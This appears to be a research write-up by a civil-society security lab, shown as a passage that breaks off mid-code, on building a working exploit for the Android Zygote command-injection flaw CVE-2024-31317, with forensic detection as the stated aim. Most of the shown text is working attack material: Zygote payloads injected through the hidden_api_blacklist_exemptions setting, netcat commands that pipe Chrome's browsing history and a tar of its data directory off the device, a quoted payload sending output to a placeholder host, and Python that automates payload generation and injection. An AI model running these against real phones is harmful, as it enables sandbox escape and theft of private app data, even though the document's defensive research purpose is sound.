--[ Experimento 0x01: Write an exploit for Android (CVE-2024-31317) and try to detect it ]--

By: Andrés and Angie of ZoqueLabs for Karisma Foundation's K+Lab

CAUTION: This document contains code that can totally or partially damage a device, we recommend to use it with extreme caution in hardware..

This document is distributed under a Creative Commons CC BY-SA (Attribution - Share Alike) license.
Spanish version

-[ ToC: ]-

0x01 Greetings. 0x02 The vulnerability. 0x03 Set up. 0x04 I see you, Zygote. 0x05 First explorations. 0x06 Defining the target. 0x07 First version of the exploit. 0x08 Android > 11. 0x09 The paranoid Android. 0x0a Following the exploit trail. 0x0b Analyzing results to find IOCs. 0x0c MVT and our indicators. 0x0d Making a module for mvt-android. 0x0e That’s all (for now).

-[ 0x01 Greetings. }-

Hey there. This is an experiment — just like the previous one — where we dig into a known Android vulnerability, try to understand it, exploit it, and then look for traces of the exploit that (hopefully) might be useful for future forensic investigations.

This experiment is basically an exploration and a learning exercise about Android and its guts. It also aims to bring us closer to the offensive side of security, which is key to identifying the techniques, tactics, and procedures used by malicious actors we might face.

The gap in resources and technical capabilities between civil society organizations (with some exceptions) and the malicious actors we try to contain is huge. Exercises like this are an effort to narrow that gap and boost our defense chances with some level of autonomy.

In this experiment, we’re trying to create a working exploit. We didn’t just want to prove the vulnerability exists — we also wanted to mimic what an exploit in the wild would do: going beyond a simple proof of concept. It turned out to be harder than we thought, but in a good way, since it forced us to dodge Android’s extra defenses to actually get something done.

We also wanted to better understand the tools we use for our analyses, especially MVT, and we’ll try to shed some light on how to contribute to this project.

The idea of this writeup is that whoever reads it can reproduce the experiment and get a bit deeper into Android’s internals. To understand what an exploit for this OS might look like and how it works. Mostly, we want to encourage people to take on projects like this, where research and sharing knowledge become a learning space for everyone.

We hope you enjoy this writeup as much as we enjoyed doing the whole experiment.

No more formalities — let’s go!

-[ 0x02 The vulnerability. }-

CVE-2024-31317 is a command injection in Zygote that affects Android versions 11, 12, 13, and 14 with patch levels earlier than June 2024.

The vulnerability, discovered by Tom Hebb from Meta and patched in the June 2024 Android security bulletin, is triggered when updating or setting a global Android variable called hidden_api_blacklist_exemptions. Turns out, the value assigned to this variable (we’ll explain how later) is passed to Zygote via another Android service called the system server, through a socket.

Normally, the system server sends commands to Zygote to “launch apps.” For example, when you tap the Google Chrome icon on your phone, internally the system server picks up that signal and sends a command to Zygote telling it to launch Chrome, along with various parameters and arguments. That’s how the Chrome window shows up and the app starts running.

Even though these kinds of commands are the most common between the system server and Zygote, they’re not the only interactions. For instance, when the value of hidden_api_blacklist_exemptions changes, the system server detects it and passes that info to Zygote so it can react accordingly.

The vulnerability lies in the fact that the system server doesn’t validate the variable’s value or check for special characters. That means you can “write” a command into the variable, and the system server will pass it straight to Zygote, which will happily execute it. In short: if you can control the hidden_api_blacklist_exemptions variable, you can inject commands that Zygote will understand — and execute.

Sounds like an easy vulnerability to exploit, right? That’s why we decided to dive into it for this experiment. At least it doesn’t involve memory race conditions or anything too wild — which would make our lives harder. But still, doing something useful with this vuln isn’t as easy as it looks on paper. Not just because of its limitations, but also because of Android’s defense in depth, which adds even more hurdles.

Anyway — let’s take it step by step.

What is Zygote and what’s the deal?

Zygote is a special process in Android whose main job is to launch apps. Normally, it does this when told to by another process called system server. These two processes talk to each other through a Unix-style socket, which is basically a file they can read from and write to in order to exchange messages. Whatever system server writes into that file, Zygote reads, interprets, and executes.

The commands sent through this channel aren’t regular bash commands — they’re special instructions that only Zygote understands. For example, when you open an app on your phone, system server tells Zygote which Activity to start (the app’s entry point), under which system user and group it should run, the minimum SDK version, SELinux contexts, app directory paths, etc. Zygote uses all that info to launch the app properly.

Zygote runs as root and controls which user runs which app. So if we manage to take control of this process, we could execute Zygote commands (and as we’ll see later, even bash commands) on behalf of any user in the system — except root — which gives us a pretty privileged level of access to the device.

It’s worth noting that normally, we can’t read from or write directly to the socket that connects system server to Zygote. In fact, the only process that has permission to write to that socket is system server itself.

The global variable hidden_api_blacklist_exemptions

First, a clarification: calling it a global variable isn’t entirely accurate, but in English it’s called a global setting, and since that doesn’t sound great in Spanish, we’ll keep calling it a global variable.

Android has a long list of global variables. You can see them from the adb shell with this command: adb shell settings list global. hidden_api_blacklist_exemptions is one of them. In our experience, we’ve never seen it initialized by default. We didn’t make a big effort to fully understand what this variable is for, because it’s irrelevant for exploiting the vulnerability. But in summary, it relates to restrictions imposed by Android to prevent apps from using private interfaces from older SDK versions. If you’re curious, you can read more in Android’s documentation on the topic.

Now, what actually matters:

  1. system server constantly monitors this variable to see if it changes or is initialized. If it detects a change, it passes that value to Zygote so it can adjust its behavior. And here’s the trick: system server passes the value almost literally to Zygote. So if we manage to insert a Zygote command into this variable… bam! We can make Zygote run whatever we want.

  2. The problem is that this variable isn’t so easy to change. There are three ways to do it:

    -Through a privileged app that has the WRITE_SECURE_SETTINGS permission (like the Settings app). Only system apps or those preinstalled by the manufacturer (Samsung, Huawei, etc.) have this permission. To take advantage of this, we’d need to find a vulnerability in one of those apps or be the phone’s manufacturer. Pretty difficult.

    -Using a special tag in an app’s Manifest, which contains the value of the variable signed with a private key controlled by Google. If the system sees such a signed app, it automatically updates the variable. But since we don’t have Google’s private keys, this isn’t an option either.

    -With adb access, which has a command that lets us change the variable directly: settings put global hidden_api_blacklist_exemptions [value]

So, to exploit this vulnerability, we need physical access to the phone and adb access.

Privilege escalation

If an attacker has access to adb, they’ve already achieved a very high level of access: the phone is essentially unlocked. So much so that they can access the developer options and activate the necessary settings to connect the phone to a computer. However, this level of access is not enough to perform certain actions. If the attacker wanted, for example, to extract all WhatsApp conversations or the entire Chrome browsing history, they would have to use the graphical interface, take screenshots, or attempt to make backups and then share them with another app. All of this would be noisy and impractical.

On the other hand, while adb grants privileged access to the system, it does not allow reading or writing to other apps’ directories. This is due to Android’s security model, which heavily relies on app isolation (Android App Isolation), also referred to as sandboxing. That is, at the operating system level, each app is completely separated from the others. One app cannot read another’s files or access its memory. This is mainly achieved by running each app under a different Linux user: Chrome has its own user, Settings has another, WhatsApp too, and so on.

Putting ourselves in the shoes of an adversary like Cellebrite, we can imagine how this vulnerability could be used by a forensic extraction company. Cellebrite, for instance, includes capabilities to break the phone’s screen lock and, if successful, from that point on needs to escalate privileges to continue extracting as much information as possible.

Other malicious actors could use this vulnerability to write to app directories, replacing executable files with ones infected with malware — for example, an implant that exfiltrates WhatsApp conversations or the phone’s real-time location. In a recent investigation by Amnesty International’s Security Lab on the use of Cellebrite in combination with malware developed by a Serbian security agency, you can see how this threat model is not far-fetched and how a vulnerability like this could enhance surveillance attacks against activists and journalists.

Finally, this vulnerability could also be a link in a chain of exploits. For example, if a privileged app can be exploited remotely, this vulnerability could be used to break the sandbox and access the contents of other apps.

Difficulties in universal exploitation

By universal exploitation we mean building an exploit that works across all vulnerable systems (i.e., Android devices from versions 11 to 14 with a patch level prior to June 2024). However, although the vulnerability is the same, the way it can be exploited varies—especially between Android 11 and later versions. This is because starting with Android 12, Zygote reads the socket differently.

In Android 11, Zygote processes the socket line by line. In the case of this vulnerability, what happens is that Zygote first encounters the command indicating that hidden_api_blacklist_exemptions has changed. If there is a valid Zygote command injected within that new value, it will read and execute it without much resistance.

But from Android 12 onward, the behavior changes: when Zygote receives a command, it automatically discards anything that follows if it’s not part of that original command. In this case, it would read only the change to hidden_api_blacklist_exemptions, but ignore any injected command that comes after.

So the challenge lies in making sure that the injected command does not arrive within that original read, but rather appears at the beginning of the next socket read. This is one of the most complex parts of this exploit, and we will explore it in detail later in this write-up.

Persistence

A very interesting detail about this vulnerability is that it has the potential to allow persistence, meaning malware or an implant can survive a device reboot and automatically run again when the phone is turned back on.

This is achieved by leaving hidden_api_blacklist_exemptions set to the malicious value. Once the phone boots up again, the system server reports that variable back to Zygote, and in theory, the code should execute again.

During our tests, we verified this property and the results were mixed: the command does execute after reboot, but the phone becomes completely unusable. Damaged. Kaput.

We are not alone

Tom Hebb, the discoverer of this vulnerability (and also the previous experiment’s), wrote a very thorough article explaining the vulnerability and its exploitability, which we recommend reading if you want to understand all the technical details.

Similarly, someone under the alias Flanker017 wrote an excellent post titled:
The Return of Mystique? Possibly the most valuable userspace Android vulnerability in recent years: CVE-2024-31317”, where they explain (in a very clear way) more details of the vulnerability and other possible exploitation methods.

These two publications were fundamental for the development of this experiment and served as guides for the creation of the resulting exploit. However, there are more interesting posts about this vulnerability, and we learned something from each during the process:

Besides these more formal blogs, there are also interesting discussions in some GitHub gists:

These gists have been updated since January 2025 and remain active today (April 2025). They discuss everything from the basics of exploitation to more complex topics like starting privileged services or copying .dex files to insert code. They are definitely worth reviewing.

Less Talk, More Action

This vulnerability and its exploitation have many details that must be understood to achieve a somewhat stable exploit. The previous explanation is still superficial, but the idea of this document is to discover those details as we progress toward building a functional exploit.

In any case, to fully understand the entire process, it’s important to review the references mentioned in the previous section.

Under the premise that you don’t learn to hack — you hack to learn — let’s get to work.

-[ 0x03 Set up. }-

Nothing extraordinary.

We will need two emulators, one with Android 11 (API 30) and another with Android 12 (API 31), rooted. We chose a Pixel 4a version that comes with Android Studio. Then, we can install the remaining versions without root to test the exploit.

The second requirement is to have Python and adb installed on the work computer.

That’s it!

Note: This experiment was done on Linux. We assume the process on Mac or Windows shouldn’t differ much.

-[ 0x04 I see you, Zygote. ]-

For the article of Tom Hebb we know that the commands of Zygote look like this:

8                              [command #1 arg count]
--runtime-args                 [arg #1: vestigial, needed for process spawn]
--setuid=10266                 [arg #2: process UID]
--setgid=10266                 [arg #3: process GID]
--target-sdk-version=31        [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread     [arg #8: Java entry point]
3                              [command #2 arg count]
--set-api-denylist-exemptions  [arg #1: special argument, don't spawn process]
LClass1;->method1(             [args #2, #3: denylist entries]
LClass1;->field1:

 

Here we can see there are two commands: the first one “opens” an app, and the second one deals with setting the variable hidden_api_blacklist_exemptions (--set-api-denylist-exemptions).

Each command is preceded by a number (8 and 3) that corresponds to the count of arguments in the command. If we count the lines below the numbers, we see they match. We can say that Zygote first reads the number, then reads that number of lines to form the command and process it, then reads another number and repeats the process.

Notice that the first command corresponds to opening the Facebook app, and in the arguments it specifies which user and group the app should run as (--setuid and --setgid). This is fundamental for this exploit because this argument will allow us to execute code on behalf of any user.

But how can we see what happens between system server and Zygote in real time?

In one of the gists mentioned earlier, someone explains a method by modifying Android’s code to show command arguments in logcat… Interesting, but we found a much simpler method (fortunately).

strace is a command available in the adb shell that lets you intercept and read the system calls a process makes. For example, we can see when a process reads or writes a file or a socket. Just what we need.

The only argument needed to run strace is the process ID (PID).

We start our Android 11 emulator, enter the shell with adb shell, become root with the su command, and look for the Zygote process ID with: ps -A | grep Zygote.

$ adb shell
generic_x86_arm:/ $ su
generic_x86_arm:/ # ps -A | grep zygote
root            283      1 1838376 113024 do_sys_poll         0 S zygote
webview_zygote  751    283 1773984  57264 do_sys_poll         0 S webview_zygote
generic_x86_arm:/ #

  For our case, the Zygote PID is 283. Knowing this, we can monitor all the syscalls of Zygote and see which syscall contains the command data. For this, we go to the emulator, close all apps, and make strace listen to the Zygote process like this: strace -p 283. Then we go to the emulator and open, for example, Chrome.

We get a long output, where each line corresponds to a syscall that Zygote uses in its operation. Near the beginning, there is an interesting line:

recvmsg(5, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="19\n--runtime-args\n--setuid=10128"..., iov_len=8192}], msg_iovlen=1, msg_controllen=0, msg_flags=MSG_CMSG_CLOEXEC}, MSG_CTRUNC|MSG_TRUNC|MSG_NOSIGNAL|MSG_CMSG_CLOEXEC) = 595

  We can see a snippet of the command: "19\n--runtime-args\n--setuid=10128".... Also, we can see that the syscall containing it is recvmsg.

If we refine our command to only show when Zygote calls recvmsg and to avoid truncating the information, we can see the full command. In the end, we get something that looks like this:

strace -s 2000 -e trace=recvmsg -p [zygote_pid]

We will see that if we repeat the previous process and open Chrome, we will see the complete command, as well as a very important detail: the number of bytes that Zygote reads in one go. This will be important when dealing with Android > 11. Seeing the full commands is a significant step forward in this experiment. For example, being able to see the argument count will be key when hidden_api_blacklist_exemptions comes into play.

From Android 12 onwards, the syscall changes. After repeating the previous process but on the Android 12 emulator, and with a little trick to avoid copying and pasting the Zygote PID, we end up with a command like this:

strace -s 12200 -e trace=read -p "$(ps -A | grep zygote64 | awk '{print $2}')"

With these two commands, we have enough to see what enters Zygote and continue exploring this vulnerability. We recommend playing around with them, opening apps, noticing the changes, etc. This will give us a deeper understanding of how system server communicates with Zygote.

-[ 0x05 First explorations. ]-

To change the value of hidden_api_blacklist_exemptions, you only need to use the settings command from adb shell as follows:

settings put global hidden_api_blacklist_exemptions [valor de la variable]

  Flanker017 provides a quick proof of concept that we can try on Android 11:

settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
3
--runtime-args
--setuid=1000
--setgid=1000
1
--boot-completed"

  If we paste this command into the adb shell, we will only end up leaving the phone in an unusable state. This may happen many times during this experiment. Sometimes it is fixed by restarting the emulator, and other times you have to completely restore it (using the “wipe data” option) for it to work again.

Either way, that lockup indicates that something happened, but it did not complete successfully, since the phone froze and we could not see any evidence that the commands had been executed.

Flanker017 also gives us clues later in his article when he talks about exploitation methods and finds an argument that will be key in our exploit: --invoke-with.

This argument allows passing a bash command that will be used by Zygote before launching the application. Like in a good command injection, we can execute several commands at once by separating them with semicolons (;) and end with # to comment out anything Zygote adds afterward.

This looks promising.

The write-up by LLeavesg gives us another, more complete proof of concept, let’s take a look:






8
--setuid=1000
--setgid=1000
--runtime-args
--seinfo=platform:privapp:targetSdkVersion=30:complete
--runtime-flags=1
--nice-name=zYg0te
--invoke-with
echo "$(id; cd /data/data/com.android.settings ; pwd; ls -al)" | nc xxx xxx; #
,,,,X

  Let’s analyze this payload:

  1. We see that there are several empty lines at the beginning and some commas with an “X” at the end. We will analyze this later because it is important for exploiting Android 12 and above.
  2. We can see that the user and group assigned to the command is 1000. Normally on Android, user 1000 corresponds to system, which is a highly privileged user under which the settings app runs.
  3. SELinux information is indicated with the --seinfo argument, and we can notice that the "privapp" context is used.
  4. We have --runtime-flags=1, which seems important for --invoke-with to work.
  5. The argument --nice-name=zYg0te may help us later to locate the output of the commands we invoke with the exploit in logcat.
  6. Finally, there is --invoke-with with a very interesting command, because it not only tries to list the directory of the settings app but redirects the command output to netcat (nc) so that we can see that output from another terminal listening with nc.

To inject this type of payload, we just need to:

  1. Save the payload in a text file.
  2. Copy it to the /data/local/tmp/ directory of the emulator.
  3. Update the variable with the following command:
settings put global hidden_api_blacklist_exemptions "$(cat /data/local/tmp/payload.txt)"

 

Change the filename if you used one different from payload.txt.

Modification suggested by LLeavesg

By suggestion of LLeavesg, we will replace the --invoke-with command with:

/system/bin/logwrapper echo zYg0te $(id);

  This command will allow us to filter logcat by zYg0te and verify if the id command executes correctly.

Our file with the payload (which we will call payload_1.txt) would look like this:






8
--setuid=1000
--setgid=1000
--runtime-args
--seinfo=platform:privapp:targetSdkVersion=30:complete
--runtime-flags=1
--nice-name=zYg0te
--invoke-with
/system/bin/logwrapper echo zYg0te $(id); #
,,,,X

  To upload it to the emulator, we use:

adb push payload_1.txt /data/local/tmp/

  Monitor with strace

Then, before running the settings put global ... command, in a separate terminal we can use strace to see what Zygote reads.

This will allow us to observe if Zygote interprets our payload and if it manages to execute the embedded command.

Once everything is ready, the command to trigger the vulnerability would be:

settings put global hidden_api_blacklist_exemptions "$(cat /data/local/tmp/payload_1.txt)"

In the strace output, we can see the following:

recvmsg(5, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="6\n--set-api-blacklist-exemptions\n\n\n\n\n\n8\n--setuid=1000\n--setgid=1000\n--runtime-args\n--seinfo=platform:privapp:targetSdkVersion=30:complete\n--runtime-flags=1\n--nice-name=zYg0te\n--invoke-with\n/system/bin/logwrapper echo zYg0te $(id); #\n\n\n\n\nX\n", iov_len=8192}], msg_iovlen=1, msg_controllen=0, msg_flags=MSG_CMSG_CLOEXEC}, MSG_CTRUNC|MSG_TRUNC|MSG_NOSIGNAL|MSG_CMSG_CLOEXEC) = 239
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=6644, si_uid=1000, si_status=0, si_utime=1, si_stime=0} ---

  Wow! We see that our command indeed reached Zygote. Also, we can notice that the system server placed a “6” in the argument count for the change to hidden_api_blacklist_exemptions, then a blank line (“\n”), and after that the directive “–set-api-blacklist-exemptions”.

Next come six blank lines, five of which correspond to those in the file with the payload, and finally the number 8, which is the start of our injected command.

Everything looks correct, but if we try to check logcat to see the command output with:

logcat | grep zYg0te

nothing happens, nothing appears. Also, if we go to the phone screen in the emulator, the applications do not work, and the phone becomes unusable.

Fortunately, we have read several times all the public references about this vulnerability and in one of them, in some comment, someone mentions that it is important to remove hidden_api_blacklist_exemptions or this will happen. We will simply set its value to “null” and see what happens.

In the end, the whole process would look like this:

$ adb push payload_1.txt /data/local/tmp/
$ adb shell
generic_x86_arm:/ $ settings put global hidden_api_blacklist_exemptions "$(cat /data/local/tmp/payload_1.txt)"
generic_x86_arm:/ $ settings put global hidden_api_blacklist_exemptions null 
generic_x86_arm:/ $ logcat | grep zYg0te 
04-15 19:27:35.810  5578  5578 W zYg0te  : Unexpected CPU variant for X86 using defaults: x86
04-15 19:27:35.829  5597  5597 I echo    : zYg0te uid=1000(system) gid=1000(system) groups=1000(system),1065(reserved_disk),3009(readproc) context=u:r:system_app:s0
^C
130|generic_x86_arm:/ $ 

  There it is! The command executed and we can clearly see it ran as system. Beau-ti-ful.

And the phone? Fine, thanks. It just lags a bit at the start, but then it keeps working normally.


So far, we have tested that the vulnerability exists on Android 11, managed to execute a bash command and see its output, and ensured the phone did not become unusable after the exploitation.

But, as we said at the beginning, our idea is to go further, making the exploit do something “real” and achieve “universal exploitability.” This is an important step, but it’s just the beginning.

-[ 0x06 Define the target. ]-

As we saw before, exploiting this vulnerability could allow two fundamental actions: implant malware or extract information.

We decided our exploit will do the second: extract information from the indicated application. For example, if asked to extract com.android.chrome, the exploit will extract the entire directory of that application.

Taking control

To start thinking about how to extract information efficiently, let’s explore a bit more what we can do with the payload we already have.

In the previous section, we saw that LLeavesg’s original payload has a command that redirects the output to a connection with netcat (nc). We modified it so that netcat connects to localhost (127.0.0.1) on port 31337:

echo "$(id; cd /data/data/com.android.settings ; pwd; ls -al)" | nc 127.0.0.1 31337 ; #

We can modify our payload (in our case payload_1.txt) and upload it again to the emulator.

Before executing the command that triggers the vulnerability (settings put global ...), we must put another instance of netcat listening for connections on port 31337. We can do this outside the adb shell, by running the following command from a terminal on our computer:

adb shell nc -l -p 31337

Then, from the adb shell, we run the command that triggers the vulnerability, reset the variable to null, and see what happens in the terminal where netcat is listening:

$ adb shell nc -l -p 31337  
uid=1000(system) gid=1000(system) groups=1000(system) context=u:r:system_app:s0
/data/data/com.android.settings
total 44
drwx------   4 system system  4096 2025-04-15 19:24 .
drwxrwx--x 203 system system 12288 2025-04-15 19:24 ..
drwxrws--x   2 system system  4096 2025-04-15 19:24 cache
drwxrws--x   2 system system  4096 2025-04-15 19:24 code_cache
lrwxrwxrwx   1 root   root      37 2025-04-15 19:24 lib -> /system_ext/priv-app/Settings/lib/x86
$

Great! We can see the output of the id command, then pwd, which shows that we indeed entered the Settings app directory, and the output of ls -al in that directory.

Something very important: we saw this output in a terminal on our computer. This means we are extracting information in a very basic way, but at least we have a window between the app’s sandbox and our machine.

So far we have a process through which we can inject commands and see their output (exploitation process):

  1. Modify the file with the payload with the command we want to execute, redirecting its output to nc 127.0.0.1 31337.
    1.1. Upload the file to the emulator:
    adb push payload_1.txt /data/local/tmp/
    

     

  2. In a terminal on the computer, put netcat listening on port 31337:
    adb shell nc -l -p 31337
    

     

  3. In the adb shell, execute the settings command to trigger the exploit:
    settings put global hidden_api_blacklist_exemptions "$(cat /data/local/tmp/payload_1.txt)"
    

     

  4. Set the variable hidden_api_blacklist_exemptions to null:

    settings put global hidden_api_blacklist_exemptions null
    

     

Note: In our experience, running the settings command to exploit the vulnerability does not always produce output; sometimes it must be tried again to work. Also, after each exploitation attempt, it is important to go to the phone screen and open/close any application to allow Zygote to resync.

Becoming Any Application

We can already become system (user 1000), but what about other applications? Does our exploit work the same?

The first thing is to find out which user belongs to which application so we can assign it in the injected (Zygote) command. We found that dumpsys works for this task. Finding out Chrome’s user would look like this:

generic_x86_arm:/ $ dumpsys package com.android.chrome | grep userId=                               
    userId=10128
generic_x86_arm:/ $ 

We must modify our payload by changing the --setuid and --setgid arguments to 10128 and change the directory we list to Chrome’s directory, in our case /data/data/com.android.chrome/. After the changes, our payload would look like this:






8
--setuid=10128
--setgid=10128
--runtime-args
--seinfo=platform:privapp:targetSdkVersion=30:complete
--runtime-flags=1
--nice-name=zYg0te
--invoke-with
echo "$(id; cd /data/data/com.android.chrome ; pwd; ls -al)" | nc 127.0.0.1 31337 ; #
,,,,X

  If we carry out the exploitation process correctly, the command output will look like this:

$ adb shell nc -l -p 31337 
uid=10128(u0_a128) gid=10128(u0_a128) groups=10128(u0_a128),1065(reserved_disk),3009(readproc) context=u:r:platform_app:s0:c512,c768
/
$

  The output of id is shown, but pwd shows the root directory (/) and there is no output for ls -al. Hmm…

If we filter logcat with the application name, we see this:

generic_x86_arm:/ $ logcat | grep com.android.chrome
.... many information
.... many information
.... many information
.... many information...
04-17 17:07:52.452 13649 13649 W sh      : type=1400 audit(0.0:2616): avc: denied { search } for name="com.android.chrome" dev="dm-5" ino=123242 scontext=u:r:platform_app:s0:c512,c768 tcontext=u:object_r:app_data_file:s0:c128,c256,c512,c768 tclass=dir permissive=0 app=com.android.chrome
04-17 17:07:52.452 13649 13649 W sh      : type=1400 audit(0.0:2617): avc: denied { read } for name="/" dev="dm-4" ino=2 scontext=u:r:platform_app:s0:c512,c768 tcontext=u:object_r:rootfs:s0 tclass=dir permissive=0 app=com.android.chrome
^C
130|generic_x86_arm:/ $ 

  What we see here are a couple of denials from SELinux for what appear to be two actions: search and read.

If the problem is with SELinux, let’s remember that inside our payload there is an argument that deals with that. When we were able to see the Zygote commands with strace, we captured one from Chrome. If we check that command we can see that this argument has a different value than the one we have in our payload: --seinfo=default:targetSdkVersion=30:complete

Notice that the original value (--seinfo=platform:privapp:targetSdkVersion=30:complete) specifies the contexts “platform” and “privapp”, which are correct for Settings because it is a platform application and a privileged application, but Chrome is not. For Android, Chrome is a much less privileged application than Settings and its context is “default”.

So let’s change the value of --seinfo to the correct one for Chrome and try again:

$ adb shell nc -l -p 31337  
uid=10128(u0_a128) gid=10128(u0_a128) groups=10128(u0_a128),1065(reserved_disk),3009(readproc) context=u:r:untrusted_app:s0:c128,c256,c512,c768
/data/data/com.android.chrome
total 108
drwx------  12 u0_a128 u0_a128        4096 2025-04-17 17:42 .
drwxrwx--x 203 system  system        12288 2025-04-15 19:24 ..
drwx------  14 u0_a128 u0_a128        4096 2025-04-17 17:43 app_chrome
drwxrwx--x   3 u0_a128 u0_a128        4096 2025-04-17 17:42 app_dex
drwxrwx--x   3 u0_a128 u0_a128        4096 2025-04-17 17:42 app_tabs
drwxrwx--x   2 u0_a128 u0_a128        4096 2025-04-15 19:24 app_textures
drwxrws--x   7 u0_a128 u0_a128_cache  4096 2025-04-17 17:42 cache
drwxrws--x   2 u0_a128 u0_a128_cache  4096 2025-04-15 19:24 code_cache
drwxrwx--x   2 u0_a128 u0_a128        4096 2025-04-17 17:42 databases
drwxrwx--x   4 u0_a128 u0_a128        4096 2025-04-15 19:28 files
lrwxrwxrwx   1 root    root             27 2025-04-15 19:24 lib -> /product/app/Chrome/lib/x86
drwxrwx--x   2 u0_a128 u0_a128        4096 2025-04-15 19:43 no_backup
drwxrwx--x   2 u0_a128 u0_a128        4096 2025-04-17 17:42 shared_prefs

  It took us a couple of tries, but we made it. We became Chrome.

Now that we have some control and know that by changing the parameters --setuid, --setgid, and --seinfo we can act as any application, let’s move on to the final goal.

Extracting information

The challenge of extracting information lies in the fact that SELinux contexts and the application sandbox will make this task quite difficult.

It’s not enough to use a command to copy files from one directory to another (where adb has access) and then pull them off the phone. One way or another, Android tries to prevent this kind of movement. Even a user like system has many restrictions on where they can read and write.

In this experiment, we tried different methods: copying, redirecting, using pipes, etc., to move full files to a directory accessible by adb, but it was in vain. It’s probably NOT impossible, and remains an open question.

However, the versatile netcat gives us a pretty practical option: if we redirect the output of a file to netcat, and on the listening side redirect that output to a local file, we succeed. Let’s try it out.

First, we need a file to exfiltrate. For example, Chrome’s browsing history.

Using some gymnastics with the process/exploit we already have, we find that this file is located at:

/data/data/com.android.chrome/app_chrome/Default/History

  This file is a SQLite database (binary), a perfect target for the test. What we’ll do is modify the command that goes in --invoke-with to send the file over netcat:

nc -w 3 127.0.0.1 31337 < /data/data/com.android.chrome/app_chrome/Default/History ; #

  On the listening side, the command would be:

adb shell nc -l -p 31337 > History

  Exploited… and if everything goes well, we’ll be able to open the History file that was saved on our computer:

$ adb shell nc -l -p 31337 > History
$ sqlite3 ./History
SQLite version 3.49.1 2025-02-18 13:38:58   
Enter ".help" for usage hints.
sqlite> .tables
downloads                meta                     urls                   
downloads_slices         segment_usage            visit_source           
downloads_url_chains     segments                 visits                 
keyword_search_terms     typed_url_sync_metadata
sqlite> select * from urls;
1|https://www.amazon.com/|Amazon.com|1|0|13389403328808160|0
2|https://m.youtube.com/|YouTube|2|0|13389403337227256|0
3|https://www.mercadolibre.com/|Mercado Libre - Envíos Gratis en el día|1|0|13389403339817557|0
4|https://mobile.twitter.com/|X|1|0|13389403346111866|0
5|https://twitter.com/|X|1|0|13389403346111866|0
6|https://x.com/|X|2|0|13389403346771913|0

  Very well! But… how do we extract the entire directory in a single command?

There are many references on the internet about how to transfer files with netcat, and several use the tar command to package an entire directory and send it.

The final spell that transfers the full directory would be:

tar --create --file=- /data/data/com.android.chrome/ | nc -w 3 localhost 31337 ; #

  On the listening side, we just send the output to a file .tar:

adb shell nc -l -p 31337 > chrome.tar

  After executing the exploit, we can verify that chrome.tar contains all the files and subdirectories from /data/data/com.android.chrome/. Bullseye!


If we automate this entire process and fix some details (like the fact that we have to manually open an application after each exploitation), we’ll have a first working version of the exploit for Android 11.

-[ 0x07 First version of the exploit (Android 11) ]-

Basic communication with adb

To start automating our process, the first thing we need is to be able to interact programmatically with adb using Python, which is the language we’ll use in this experiment.

There are several modules that abstract the process of working with adb, however, we decided to simply use the subprocess module to interact with adb. The function in charge of this process would look like this:

1
2
3
4
5
6
import subprocess

def send_adb_command(command):
    p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    (child_stdin, child_stdout, child_stderr) = (p.stdin, p.stdout, p.stderr)
    return p.stdout.read().decode("utf-8")

With this, we can find out, for example, the Android version:

1
android_version = send_adb_command("adb shell getprop ro.build.version.release").strip("\n")

Extracting the necessary information

With the send_adb_command function we can find out the user ID of an application and whether it is privileged or not:

1
2
3
4
5
6
7
8
def get_app_uid(app):
    uid = send_adb_command(f"adb shell dumpsys package {app} | grep userId=")
    uid = uid.split("\n")
    _, uid = uid[0].split("=")
    return uid.strip('\n')
		
def is_system_app(app):
    return True if send_adb_command(f"adb shell pm path {app}").find(':/system') > 0 else False

With this data we can build a payload.

Payload

Let’s create a function that generates a variable called payload and includes all the values we had in our original payload. Now, by passing the full name of an application, we’ll get a ready-made payload with the user ID, group, and SELinux context. Additionally, the function also takes as an argument the bash command we want to execute, which will allow us to more easily play with different commands.

At the end of the variable, we include a few blank lines at the beginning and some commas with an ‘X’ at the end as padding; their purpose will become clear in the next section. For now, we know it works, so we leave them in.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def make_payload(app, command):
    # get user id
    uid = get_app_uid(app)
    if uid is None:
        print("[-] Error: can't find uid.")
        return

    # construct zygote command
    payload = "8" + "\n"
    payload += "--runtime-args" + "\n"
    payload += f"--setuid={uid}" + "\n"
    payload += f"--setgid={uid}" + "\n"
    if is_system_app(app):
        payload += "--seinfo=platform:privapp:targetSdkVersion=30:complete" + "\n"
    else:
        payload += "--seinfo=default:targetSdkVersion=30:complete" + "\n"
    payload += "--runtime-flags=1" + "\n"
    payload += "--nice-name=zYg0te" + "\n"
    payload += "--invoke-with" + "\n"
    payload += command + " ; #" + "\n"
    
    # Padding in the top:
    # we leave five new lines before the command's argument count (8)
    # because when system server send the command to Zygote it places a 6
    # arguments count over --set-api-blacklist-exemptions
    top_padding = 5
    payload = "\n" * top_padding + payload

    # Padding in the bottom
    # We leave 5 commas and a X to delay a bit the  zygote read
    # because those commas are splited before... or because the guy of meta
    # says so.
    payload += ",,,,X"   + "\n"
    
    return payload

Exploit

The function that executes the exploit steps performs the same actions we previously did manually: it writes the payload to a file, uploads it to the emulator, modifies the value of hidden_api_blacklist_exemptions, then resets it to “null”, and finally opens the Settings app to avoid having to manually go into settings again for the exploit to work. Note that at the start of the function, a command is also sent to close Settings, ensuring that it fully opens at the end.

It’s important to note that when assigning the value of the payload to the hidden_api_blacklist_exemptions variable, we don’t use the function defined at the beginning to interact with adb, because this specific step didn’t work directly with adb shell ... from the computer. It only worked by entering the interactive shell and executing the command from there, which triggered the vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def exploit(payload):
    # Generate and upload payload
    with open("payload.txt", 'w') as f:
        f.write(payload)
    send_adb_command("adb push payload.txt /data/local/tmp")

    # close settings app if open
    send_adb_command("adb shell am force-stop com.android.settings")

    # Starting an interactive shell, is how it works.
    p = subprocess.Popen("adb shell",shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.PIPE)
